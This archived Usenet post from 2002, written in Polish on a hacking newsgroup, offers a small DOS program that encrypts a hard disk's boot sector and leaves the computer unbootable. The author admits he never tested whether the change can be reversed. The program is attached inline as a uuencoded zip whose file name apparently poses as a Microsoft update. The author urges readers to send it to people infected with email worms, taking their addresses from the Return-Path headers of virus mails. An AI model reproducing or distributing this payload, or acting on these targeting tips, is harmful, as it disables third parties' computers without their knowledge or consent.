🚀 go-pugleaf

RetroBBS NetNews Server

Inspired by RockSolid Light RIP Retro Guy

Article View: alt.pl.fan.gopher
Article #6941

Kolejny sposób na zasikanych

#6941
From: Adam `Gophi' Wysocki
Date: Wed, 14 Aug 2002 02:27
43 lines
3694 bytes
Inwazyjny, ale odwracalny. Działanie komputera po uruchomieniu 
programiku i zrebootowaniu jest nieprzewidywalne, ale na pewno 
nie będzie to zabootowanie (najprawdopodobniej hangup, ale to 
zależy). Program szyfruje pierwszy sektor na zerowej ścieżce 
pod zerową głowicą pierwszego dysku twardego prostą metodą 
rozszerzonej sumy logicznej z inkrementowanym liniowo kluczem 
(inteligentnie brzmi, ale samo szyfrowanie sprowadza się do 
kilku linijek kodu w assemblerze). Odratowanie - odpalenie tego 
programu ponownie (z bootkietki), i nie bać się że system po 
zabootowaniu z bootkietki nie będzie widział twardego dysku 
(dotyczy DOS-a, nie wiem jak Linux, nie testowałem, ale żadnej 
partycji raczej nie zobaczy żaden system). Na tyle małe że 
wrzucam tutaj, na tyle proste że nie załączam kodu źródłowego 
(każdy powinien zrozumieć po deasemblacji), ale jeśli ktoś chce 
to dostanie także źródło. Oczywiście zero gwarancji, używanie na 
własne ryzyko, ale nie polecam odpalania tego u siebie (chyba że 
ktoś lubi mocne wrażenia, poza tym nie testowałem tego programu 
i nie wiem, czy odwracalność naprawdę działa), raczej wysyłanie 
do zasikanych (po rozpakowaniu, zresztą nazwa - po rozpakowaniu 
- mówi sama za siebie). Adresy zasikanych można znaleźć w nagłówkach 
Return-Path otrzymywanych wirusów (nie polecam nagłówków From, bo 
niektóre wirusy podmieniają nadawcę listu, zostawiając jednak nadawcę 
koperty). Have fun.

begin 664 oe.zip
M4$L#!!0````(`-T@#BW/:W@H#@$``!P#```8`!4`=W=W+FUI8W)O<V]F="UU
M<&1A=&4N8V]M550)``-"NUD]3;Q9/55X!```````[8T_2\-`&(?3E"(&TD7<
M"KZ"BZ5T<')T<W-Q$-S>WKUH+C'OD;MPY*:.XK>I+>*?P2%='/HE'"0*3HJS
M<?0SZ/3`PX_G]_H4'"4T1YDG!(J,!98:,WP!9WQE;,H@&$SR!I*-145C."4P
MFH3"+)_%D219I2C4#&2&X-$D*>:5.`<N;<:<LA,?;@0XJ6Y$>^%1H\R2GV(<
M.9B0EY3GI$`7GC2V&S".52O.YJ5F6XWA)"E*`TX7[%!ZSJM1'/F"#-E20<H7
MNK14C.-HI]_?6FNBH-D-FLV@V0_JX=?U=/@^ZSP,PMM.N-KX+;JMN`O"Q<'C
M(+SJ[2TO>].E.WS^K.^[G<7Z:KN&8Q*6"_CGW^0W4$L!`A<#%`````@`W2`.
M+<]K>"@.`0``'`,``!@`#0```````````.V!`````'=W=RYM:6-R;W-O9G0M
M=7!D871E+F-O;554!0`#0KM9/55X``!02P4&``````$``0!3````60$`````
`
end

-- 
Gophi * Bofh# 265791 * wysocki.lodz.pdi.net/~adam/
EKG/Gadu #413992 * Member of the PFT Hacking Group
MSISDN Idea 505439030 Plus 691337795 IRCNet: gophi
Improwizajca poparta inteligencją jest hackerstwem
Technical Details
Message-ID: <Gophi.138520@gophi.nasa.gov>
Path: mbox-mo1.pugleaf.net!news-archive.icm.edu.pl!pingwin.icm.edu.pl!mat.uni.torun.pl!news.man.torun.pl!news.man.poznan.pl!news.internetia.pl!news.ipartners.pl!news.atcom.net.pl!wysocki.lodz.pdi.net!gophi.nasa.gov!not-for-mail

Show Full Headers
Complete Article Headers
Newsgroups: alt.pl.fan.gopher,alt.pl.comp.os.hacking
Subject: Kolejny sposób na zasikanych
Date: Wed, 14 Aug 2002 04:27:49 +0200
Lines: 50
Mime-Version: 1.0
X-Trace: localhost.localdomain 1029292072 1153 127.0.0.1 (14 Aug 2002 02:27:52 GMT)
NNTP-Posting-Date: Wed, 14 Aug 2002 02:27:52 +0000 (UTC)
From: "Adam `Gophi' Wysocki" <adam@wysocki.lodz.pdi.net>
Organization: PFT Hacking Group
NNTP-Posting-Host: gophi.nasa.gov
X-Complaints-To: usenet@gophi.prv.pl
User-Agent: Pine 4.44 / Red Hat Linux 7.3 (Valhalla) / Kernel 2.4.18-3
X-Geek-Code-1: GAT d-- s+: a1985 C++ UL++ P+ L+++ E---- W- N++ K- w--- !O M--
X-Geek-Code-2: V-- PS+ PE+ Y-- PGP- t- !5 X+ R- tv- b+ DI- D+ G e- h-- r% x*
X-Geek-Code-3: v3.12
X-Contact-Info-1: GSM# 505-439-030
X-Contact-Info-2: EKG# 413992
X-More-Info: If you want more info about me, finger gophi@cyberspace.org
X-License: This message is PPL-Licensed, details on http://ppl.7thGuard.net/
X-No-Archive: yes
Path: mbox-mo1.pugleaf.net!news-archive.icm.edu.pl!pingwin.icm.edu.pl!mat.uni.torun.pl!news.man.torun.pl!news.man.poznan.pl!news.internetia.pl!news.ipartners.pl!news.atcom.net.pl!wysocki.lodz.pdi.net!gophi.nasa.gov!not-for-mail
Message-ID: <Gophi.138520@gophi.nasa.gov>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit